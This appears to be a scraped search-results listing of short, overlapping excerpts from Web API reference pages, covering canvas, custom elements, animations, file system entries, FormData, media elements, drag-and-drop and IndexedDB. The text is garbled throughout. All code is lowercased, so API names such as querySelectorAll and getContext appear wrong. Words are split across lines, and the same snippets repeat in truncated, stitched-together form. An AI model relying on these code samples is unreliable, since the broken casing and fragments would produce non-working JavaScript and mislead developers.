...lement("canvas"); canvas.setattribute("width", 100); canvas.setattribute("height", 100); var ctx = canvas.getcontext('2d'); ctx.fillstyle = "#" + c.tostring(16) + "0000"; ctx.fillrect(25, 25, 75, 75); c += 0x11; if (c > 0xff) { c = 0x00; } document.mozsetimageelement("canvasbg", canvas); } the code here is called each time the user clicks the <div> element. it creates a
new <canvas> with the width and height set to 100 pixels, then draws into it a 50 by 50 pixel square. each time the function is called, the square is a different color (its red component is increased each time), so each time the user clicks the element, the background is filled with a brighter and brighter pattern of red tiles. once the canvas is drawn, document.mozsetimageelement() is called to set...
...square. each time the function is called, the square is a different color (its red component is increased each time), so each time the user clicks the element, the background is filled with a brighter and brighter pattern of red tiles. once the canvas is drawn, document.mozsetimageelement() is called to set the background for any css using the id "canvasbg" as its background element id to be our
new canvas. specifications not part of any specification. ...
Document.registerElement() - Web APIs
note: this is an experimental technology. the browser you use it in must support web components. see enabling web components in firefox. syntax var constructor = document.registerelement(tag-name, options); parameters tag-name the name of the custom element. the name must contain a dash (-), for example my-tag. ...
...terelement(tag-name, options); parameters tag-name the name of the custom element. the name must contain a dash (-), for example my-tag. optionsoptional an object with properties prototype to base the custom element on, and extends, an existing tag to extend. both of these are optional. example here is a very simple example: var mytag = document.registerelement('my-tag'); now the
new tag is registered in the browser. the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(
new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools. it will not be visible if you use the browser's view source capability. and it won't be visible in the browser u...
...t you can use to create a my-tag element in the document as follows: document.body.appendchild(
new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools. it will not be visible if you use the browser's view source capability. and it won't be visible in the browser unless you add some content to the tag. ...
DocumentTimeline.DocumentTimeline() - Web APIs
currently the only supported option is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the navigationstart moment of the active document for the current browsing context. ...
...currently the only supported option is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the navigationstart moment of the active document for the current browsing context. ...
...owsing context. examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. this bit of code would start all the cats animating 500 milliseconds into their animations: var cats = document.queryselectorall('.sharedtimelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline =
new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes =
new keyframeeffect(cat, keyframes, timing); var catanimation =
new animation(catkeyframes, sharedtimeline); catanimation.play(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification. working draft edito...
Using the W3C DOM Level 1 Core - Web APIs
ements in the document, and the first is number 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". ...
... 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". ...
...hild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document". var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a
new text node for the second paragraph var
newtext = document.createtextnode("this is the second paragraph."); // create a
new element to be the second paragraph var
newelement = document.createelement("p"); // put the text in the paragraph
newelement.appendchild(
newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(
newelement); } you can see this script as a complete example. how can i learn mor...
Element.animate() - Web APIs
it returns the created animation object instance. elements can have multiple animations applied to them. you can get a list of the animations that affect an element by calling element.getanimations(). syntax var animation = element.animate(keyframes, options); parameters keyframes either an array of keyframe objects, or a keyframe object whose property are arrays of values to iterate over. see keyframe formats for more details. ...
...o replace. add dictates an additive effect, where each successive iteration builds on the last. for instance with transform, a translatex(-200px) would not override an earlier rotate(20deg) value but result in translatex(-200px) rotate(20deg). accumulate is similar but a little smarter: blur(2) and blur(5) become blur(7), not blur(2) blur(5). replace overwrites the previous value with the
new one. iterationcomposite optional determines how values build from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. return value returns an animation. examples in the demo down the rabbit hole (with the web animation api), we use the convenient animate() method to immediately create and play an animation on the #tunnel elem...
... play an animation on the #tunnel element to make it flow upwards, infinitely. notice the array of objects passed as keyframes and also the timing options block. document.getelementbyid("tunnel").animate([ // keyframes { transform: 'translatey(0px)' }, { transform: 'translatey(-300px)' } ], { // timing options duration: 1000, iterations: infinity }); implicit to/from keyframes in
newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginni...
EventTarget() - Web APIs
the eventtarget() constructor creates a
new eventtarget object instance. syntax var myeventtarget =
new eventtarget(); parameters none. return value an instance of the eventtarget object. ...
... the eventtarget() constructor creates a
new eventtarget object instance. syntax var myeventtarget =
new eventtarget(); parameters none. return value an instance of the eventtarget object. ...
...rn value an instance of the eventtarget object. examples class myeventtarget extends eventtarget { constructor(mysecret) { super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget =
new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event =
new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let
newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification. living standard ...
File.lastModified - Web APIs
e a number that represents the number of milliseconds since the unix epoch. example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date =
new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the
new file() constructor function. if it is missing, lastmodified inherits the current time from date.now() at the moment the file object gets created. const f...
...tmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the
new file() constructor function. if it is missing, lastmodified inherits the current time from date.now() at the moment the file object gets created. ...
...as a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the
new file() constructor function. if it is missing, lastmodified inherits the current time from date.now() at the moment the file object gets created. const filewithdate =
new file([], 'file.bin', { lastmodified:
new date(2017, 1, 1), }); console.log(filewithdate.lastmodified); //returns 1485903600000 const filewithoutdate =
new file([], 'file.bin'); console.log(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get rounded depending on browser settings. in firefox, the pr...
FileException - Web APIs
basic concepts synchronous apis do not have error callbacks, which makes it difficult to catch errors. the added complexity of using webworkers with this api makes debugging even more challenging. to simplify things a bit, wrap your worker code in a try/catch. ...
... ...
... ...
FileSystemEntry.getParent() - Web APIs
le system's state doesn't permit it. this can happen, for example, if the file system's cached state differs from the actual state of the file system. fileerror.not_found_err the specified path could not be found. fileerror.security_err security restrictions prohibit obtaining the parent directory's information. ...
...em's cached state differs from the actual state of the file system. fileerror.not_found_err the specified path could not be found. fileerror.security_err security restrictions prohibit obtaining the parent directory's information. example this example renames the file specified by the variable fileentry to "
newname.html". fileentry.getparent(function(parent) { fileentry.moveto(parent, "
newname.html", function(updatedentry) { console.log("file " + fileentry.name + " renamed to
newname.html."); }); }, function(error) { console.error("an error occurred: unable to rename " + fileentry.name + " to
newname.html."); }); this is accomplished by first obtaining a filesystemdirectoryentry object representing the directory the file is currently located in. then moveto() is us...
... this is accomplished by first obtaining a filesystemdirectoryentry object representing the directory the file is currently located in. then moveto() is used to rename the file within that directory. using promises currently, there isn't a promise-based version of this method. you can, however, create a simple helper function to adapt it, like this: function getparentpromise(entry) { return
new promise((resolve, reject) => { entry.getparent(resolve, reject); }); } a similar approach can be taken elsewhere in the file and directory entries api. specifications specification status comment file and directory entries apithe definition of 'getparent()' in that specification. draft initial specification. browser compatibility the compatibilit...
FileSystemEntry.toURL() - Web APIs
syntax filesystementry.tourl([mimetype]); parameters mimetype optional an optional string specifying the mime type to use when interpreting the file. this can be used to help deal with files whose types aren't recognized automatically by the user agent. if this parameter is omitted, the user agent uses its standard algorithms to identify the file. ...
... ...
... ...
FileSystemEntry - Web APIs
se class for the filesystemfileentry and filesystemdirectoryentry interfaces, which provide features specific to file system entries representing files and directories, respectively. the filesystementry interface includes methods that you would expect for manipulating files and directories, but it also includes a convenient method for obtaining the url of the entry: tourl(). it also introduces a
new url scheme: filesystem:. you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files ...
...he entry represents a directory; otherwise, it's false. isfile read only a boolean which is true if the entry represents a file. if it's not a file, this value is false. name read only a usvstring containing the name of the entry (the final part of the path, after the last "/" character). methods this interface defines the following methods. copyto() copies the file or directory to a
new location on the file system. getmetadata() obtains metadata about the file, such as its modification date and size. getparent() returns a filesystemdirectoryentry representing the entry's parent directory. moveto() moves the file or directory to a
new location on the file system, or renames the file or directory. remove() removes the specified file or directory. you can only remove direct...
... yeslegend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in
new websites.deprecated. not for use in
new websites.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FileSystemFileEntry.createWriter() - Web APIs
e file corresponding to the passed-in directory entry. function writetofileentry(entry, text) { entry.createwriter(function(filewriter) { let data = blob([text], { type: "text/plain" }); filewriter.write(data); }, function(fileerror) { /* do whatever to handle the error */ }); } the success callback for the createwriter() call takes the text which was passed in and creates a
new blob object of type text/plain that contains the passed text. this blob is then output to the filewriter object to be written to the file. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send...
... ...
... ...
FileSystemFlags - Web APIs
is: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there. note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions prevent the creation of
new files or the replacement of existing ones. properties create optional if this property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, it must be possible for ...
...lacement of existing ones. properties create optional if this property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, it must be possible for it to be created
newly at call time. the default is false. values and results the table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on wh...
...llback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called. false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided). true false path exists the existing file or directory is removed and replaced with a
new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate. true false path doesn't exist the file or directory is created, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. true true path exists the errorcallback is called with an appropriate error, s...
FormData() - Web APIs
the formdata() constructor creates a
new formdata object. note: this feature is available in web workers. syntax var formdata =
new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values. it will also encode file input content. ...
...ax var formdata =
new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values. it will also encode file input content. ...
...load file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type="submit" value="submit!"> </form> note: only successful form controls are included in a formdata object, i.e. those with a name, not disabled and checked (radio buttons and checkboxes) or selected (one or more options within a select). let myform = document.getelementbyid('myform'); let formdata =
new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification. living standard initial definition ...
FormDataEvent - Web APIs
ed. this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor. this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects). constructor formdataevent() creates a
new formdataevent object instance. properties inherits properties from its parent interface, event. formdataevent.formdata contains the formdata object representing the data contained in the form when the event was fired. methods inherits methods from its parent interface, event. examples // grab reference to form const formelem = document.queryselector('form'); // submit handler forme...
...e data contained in the form when the event was fired. methods inherits methods from its parent interface, event. ...
... living standard ...
GainNode() - Web APIs
specifications specification status comment web audio apithe definition of 'gainnode()' in that specification. ...
... specifications specification status comment web audio apithe definition of 'gainnode()' in that specification. ...
... specifications specification status comment web audio apithe definition of 'gainnode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
GainNode - Web APIs
resents a change in volume. it is an audionode audio-processing module that causes a given gain to be applied to the input data before its propagation to the output. a gainnode always has exactly one input and one output, both with the same number of channels. the gain is a unitless value, changing with time, that is multiplied to each corresponding sample of all input channels. if modified, the
new gain is instantly applied, causing unaesthetic 'clicks' in the resulting audio. to prevent this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) cha...
...o. to prevent this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor gainnode() creates a
new instance of a gainnode object. you shouldn't manually create a gain node; instead, use the method audiocontext.creategain(). properties inherits properties from its parent, audionode. gainnode.gain read only is an a-rate audioparam representing the amount of gain to apply. you have to set audioparam.value or use the methods of audioparam to change the effect of gain. methods no specifi...
...the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value. ...
HTMLAudioElement - Web APIs
properties no specific properties; inherits properties from its parent, htmlmediaelement, and from htmlelement. methods inherits methods from its parent, htmlmediaelement, and from htmlelement. it offers no methods of its own. obsolete mozilla-only methods the following meth...
...ts up the audio stream to allow writing, given the number of audio channels (1 or 2) and the sample rate in khz. mozwriteaudio() writes a batch of audio frames to the stream at the current offset, returning the number of bytes actually written to the stream. examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement =
new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonly used properties of the audio element include src, curr...
...g to play an audio element immediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume. this snippet copies the audio file's duration to a variable: var audioelement =
new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. listen to events using addeventlistener() or by assigning an event listener to the oneventname proper...
HTMLFormElement - Web APIs
.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms. ...
...}).join("\n"); // set the form's <textarea> to display the form's properties document.forms["forma"].elements['form-info'].value = info; // document.forms["forma"]['form-info'].value would also work } function setforminfo(f){ // argument should be a form element reference. ...
... document.forms["forma"].elements['form-info'].value = info; // document.forms["forma"]['form-info'].value would also work } function setforminfo(f){ // argument should be a form element reference. ...
HTMLImageElement.alt - Web APIs
r brand logos) and informational icons should use the corresponding text in their alt strings. that is, if an image is a corporate logo, the alt text should be the name of the company. if the image is an icon representing a status or other information, the text should be the name of that state. ...
...mpany. if the image is an icon representing a status or other information, the text should be the name of that state. for example, if an image is a badge that's shown on a page to indicate that the content of the page is
new and has been updated recently, the corresponding alt text might be "updated recently" or even "updated on 27 august 2019". in this example, a starburst image with the word "
new!" is used to indicate that an article is about something
new (and probably supposedly also exciting). the alt attribute is set to
new page! to allow that text to be displayed in place of the image if the image isn't available. it is also available to be read by screen readers. html the html below creates a snippet of content from a site using the described icon. note the use of the alt attribut...
...if the image isn't available. it is also available to be read by screen readers. html the html below creates a snippet of content from a site using the described icon. note the use of the alt attribute on the <img>, providing a good substitution string to use in case the image doesn't load. <div class="container"> <img src="https://udn.realityripple.com/samples/87/eace6b7d6a.svg" alt="
new page!" class="pageinfo-badge"> <p class="contents"> lorem ipsum dolor sit amet, consectetur adipiscing elit. quisque quis orci ligula. lorem ipsum dolor sit amet, consectetur adipiscing elit. in ac neque libero. vivamus consectetur rhoncus elit eget porta. etiam pulvinar ex id sapien laoreet, quis aliquet odio lobortis. nam ac mauris at risus laoreet cursus vitae et ...
HTMLImageElement.decode() - Web APIs
this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads. ...
...e image data is ready to be used. exceptions encodingerror a domexception indicating that an error occurred while decoding the image. usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a
new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use. at that time, you can then replace the low-resolution image with the full-resolution one that's now available. examples the following example shows how to use the decode() method to control when an image is appended to t...
...-resolution image with the full-resolution one that's now available. examples the following example shows how to use the decode() method to control when an image is appended to the dom. without a promise-returning method, you would add the image to the dom in a load event handler, such as by using the img.onload event handler, and by handling the error in the error event's handler. const img =
new image(); img.src = 'nebula.jpg'; img.decode() .then(() => { document.body.appendchild(img); }) .catch((encodingerror) => { // do something with the error. }) specifications specification status comment html living standardthe definition of 'decode()' in that specification. living standard initial definition. ...
HTMLImageElement - Web APIs
properties inherits properties from its parent, htmlelement. htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicati...
... properties inherits properties from its parent, htmlelement. ...
...e as the url of the page the user is currently on. the specified image is corrupted in some way that prevents it from being loaded. the specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes. the specified image is in a format not supported by the user agent. ...
HTMLMediaElement - Web APIs
edia element. htmlmediaelement.currentsrc read only returns a domstring with the absolute url of the chosen media resource. htmlmediaelement.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial playback time. setting this value seeks the media to the
new time. the time is specified relative to the media's timeline. htmlmediaelement.defaultmuted a boolean that reflects the muted html attribute, which indicates whether the media element's audio output should be muted by default. htmlmediaelement.defaultplaybackrate a double indicating the default playback rate for the media. htmlmediaelement.disableremoteplayback a boolean that sets or return...
...l to the media duration. htmlmediaelement.mozframebufferlength is a unsigned long that indicates the number of samples that will be returned in the framebuffer of each mozaudioavailable event. this number is a total for all channels, and by default is set to be the number of channels * 1024 (e.g., 2 channels * 1024 samples = 2048 total). the mozframebufferlength property can be set to a
new value for lower latency, larger amounts of data, etc. the size given must be a number between 512 and 16384. using any other size results in an exception being thrown. the best time to set a
new length is after the loadedmetadata event fires, when the audio info is known, but before the audio has started or mozaudioavailable events have begun firing. htmlmediaelement.mozsamplerate read only ...
...ervespitch). htmlmediaelement.readystate read only returns a unsigned short (enumeration) indicating the readiness state of the media. htmlmediaelement.seekable read only returns a timeranges object that contains the time ranges that the user is able to seek to, if any. htmlmediaelement.seeking read only returns a boolean that indicates whether the media is in the process of seeking to a
new position. htmlmediaelement.sinkid read only returns a domstring that is the unique id of the audio device delivering output, or an empty string if it is using the user agent default. this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications. htmlmediaelement.src is a domstring that reflects the src html a...
Drag Operations - Web APIs
in less specific forms. the application/x.bookmark type can provide data with more details for use within the application whereas the other types can include just a single url or text version. note that both the text/uri-list and text/plain contain the same data in this example. this will often be true, but doesn't need to be the case. if you attempt to add data twice with the same format, the
new data will replace the old data, but in the same position within the list of types as the old data. you can clear the data using the cleardata() method, which takes one argument: the type of the data to remove. event.datatransfer.cleardata("text/uri-list"); the type argument to the cleardata() method is optional. if the type is not specified, the data associated with all types is removed. if t...
...ppear relative to the mouse pointer. it is also possible to use images and canvases that are not in a document. this technique is useful when drawing custom drag images using the canvas element, as in the following example: function dragwithcustomimage(event) { const canvas = document.createelement("canvas"); canvas.width = canvas.height = 50; const ctx = canvas.getcontext("2d"); ctx.li
newidth = 4; ctx.moveto(0, 0); ctx.lineto(50, 50); ctx.moveto(0, 50); ctx.lineto(50, 0); ctx.stroke(); const dt = event.datatransfer; dt.setdata('text/plain', 'data to drag'); dt.setdragimage(canvas, 25, 25); } in this example, we make one canvas the drag image. as the canvas is 50×50 pixels, we use offsets of half of this (25) so that the image appears centered on the mouse point...
... note: you must cancel the dragenter event for this pseudoclass to apply, as this state is not checked for the dragover event. for more complex visual effects, you can also perform other operations during the dragenter event. for example, by inserting an element at the location where the drop will occur. this might be an insertion marker, or an element that represents the dragged element in its
new location. to do this, you could create an image or separator element and simply insert it into the document during the dragenter event. the dragover event will fire at the element the mouse is pointing at. naturally, you may need to move the insertion marker around a dragover event as well. you can use the event's clientx and clienty properties as with other mouse events to determine the locatio...
Ajax navigation example - Web APIs
mple</a> | <a class="ajax-nav" href="third_page.php">third example</a> | <a class="ajax-nav" href="unexisting.php">unexisting page</a> ] </p> include/header.php: <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="js/ajax_nav.js"></script> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxrequest =
new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); } function ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status...
... ajaxerror(); } } closereq(); } function filterurl (surl, sviewmode) { return surl.replace(rsearch, "") + ("?" + surl.replace(rhost, "&").replace(rview, sviewmode ? ...
...fo, opageinfo.title, opageinfo.url); for (var olink, nidx = 0, nlen = document.links.length; nidx < nlen; document.links[nidx++].onclick = processlink); } const /* customizable constants */ stargetid = "ajax-content", sviewkey = "view_as", sajaxclass = "ajax-nav", /* not customizable constants */ rsearch = /\?.*$/, rhost = /^[^\?]*\?*&*/, rview =
new regexp("&" + sviewkey + "\\=[^&]*|&*$", "i"), rendqstmark = /\?$/, oloadingbox = document.createelement("div"), ocover = document.createelement("div"), oloadingimg =
new image(), opageinfo = { title: null, url: location.href }, ohttpstatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ { 100: "continue", ...
IDBDatabase.createObjectStore() - Web APIs
the createobjectstore() method of the idbdatabase interface creates and returns a
new object store or index. the method takes the name of the store as well as a parameter object that lets you define important optional properties. you can use the property to uniquely identify individual objects in the store. as the property is an identifier, it should be unique to every object, and every object should have that property. this method can be called only within a versionchange transaction. note: this feature is available in web workers. syntax idbdatabase.createobjectstore(name); idbdatabase.createobjectstore(name, options); parameters name the name of the
new object store to be created. note that it is possible to create an object store with an empty name. optionalparameters optio...
...me, options); parameters name the name of the
new object store to be created. note that it is possible to create an object store with an empty name. optionalparameters optional an options object whose attributes are optional parameters to the method. it includes the following properties: attribute description keypath the key path to be used by the
new object store. if empty or not specified, the object store is created without a key path and uses out-of-line keys. you can also pass in an array as a keypath. autoincrement if true, the object store has a key generator. defaults to false. unknown parameters are ignored. returns a
new idbobjectstore. exceptions this method may raise a domexception with a domerror ...
...rainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database. invalidaccesserror if autoincrement is set to true and keypath is either an empty string or an array containing an empty string. example // let us open our database var request = window.indexeddb.open("todolist", 4); // this handler is called when a
new version of the database // is created, either when one has not been created before // or when a
new version number is submitted by calling // window.indexeddb.open(). // this handler is only supported in recent browsers. request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; //...
IDBDatabaseException - Web APIs
stant names instead. constant value description abort_err 8 a request was aborted, for example, through a call to idbtransaction.abort. constraint_err 4 a mutation operation in the transaction failed because a constraint was not satisfied. for example, an object, such as an object store or index, already exists and a request attempted to create a
new one. data_err 5 data provided to an operation does not meet requirements. non_transient_err 2 an operation was not allowed on an object. unless the cause of the error is corrected, retrying the same operation would result in failure. not_allowed_err 6 an operation was called on an object where it is not allowed or at a time when it is not allowed.
... ...
... ...
IDBDatabaseSync - Web APIs
ase. name readonly domstring the name of the connected database. objectstores readonly domstringlist the names of the object stores that exist in the connected database. version readonly domstring the version of the connected database. has the null value when the database is first created. methods createobjectstore() creates and returns a
new object store with the given name in the connected database. idbobjectstoresync createobjectstore( in domstring name, in domstring keypath, in optional boolean autoincrement ) raises (idbdatabaseexception); parameters name the name of a
new object store. keypath the key path used by the
new object store. if a null path is specified, then the object store does not have a key path, ...
... exceptions this method can raise an idbdatabaseexception with the following code: constraint_err if an object store with the same name (based on case-sensitive comparison) already exists in the connected database. ...
...re in the database. transaction() creates and returns a transaction, acquiring locks on the given database objects, within the specified timeout duration, if possible. idbtransactionsync transaction ( in optional domstringlist storenames, in optional unsigned int timeout ) raises (idbdatabaseexception); parameters storenames the names of object stores and indexes in the scope of the
new transaction. timeout the interval that this operation is allowed to take to acquire locks on all the objects stores and indexes identified in storenames. returns idbtransactionsync an object to access the
newly created transaction. exceptions this method can raise an idbdatabaseexception with the following code: timeout_err if reserving all the database objects identified in storen...
IDBKeyRange.upperBound() - Web APIs
exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key. ...
... exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key. ...
...key range. by default, it includes the upper endpoint value and is closed. note: this feature is available in web workers. syntax var myidbkeyrange = idbkeyrange.upperbound(upper[, open=false]) parameters bound specifies the upper bound of the
new key range. open indicates whether the upper bound excludes the endpoint value. the default is false. optional return value idbkeyrange: the
newly created key range. exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key. example the following example illustrates how you'd use an upper bound key range. here we declare keyrangevalue = idbkeyrange.upperbound("f"); — a range that includes the value ...
IDBObjectStore.autoIncrement - Web APIs
var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...olist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...n(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our
newitem object to the object store var objectstorerequest = objectstore.add(
newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification. reco...
IDBObjectStore.deleteIndex() - Web APIs
; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database. example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. idbobjectstore.createindex is used to create
new indexes on the object store, after which we delete the unneeded old indexes with deleteindex(). for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { ...
...ase.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...itialised.</li>'; // store the result of opening the database in the db variable. ...
IDBObjectStore.indexNames - Web APIs
database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...ction(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our
newitem object to the object store var objectstorerequest = objectstore.add(
newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification. recomme...
IDBObjectStore.keyPath - Web APIs
var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...olist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
... function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our
newitem object to the object store var objectstorerequest = objectstore.add(
newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification. recommenda...
IDBObjectStore.transaction - Web APIs
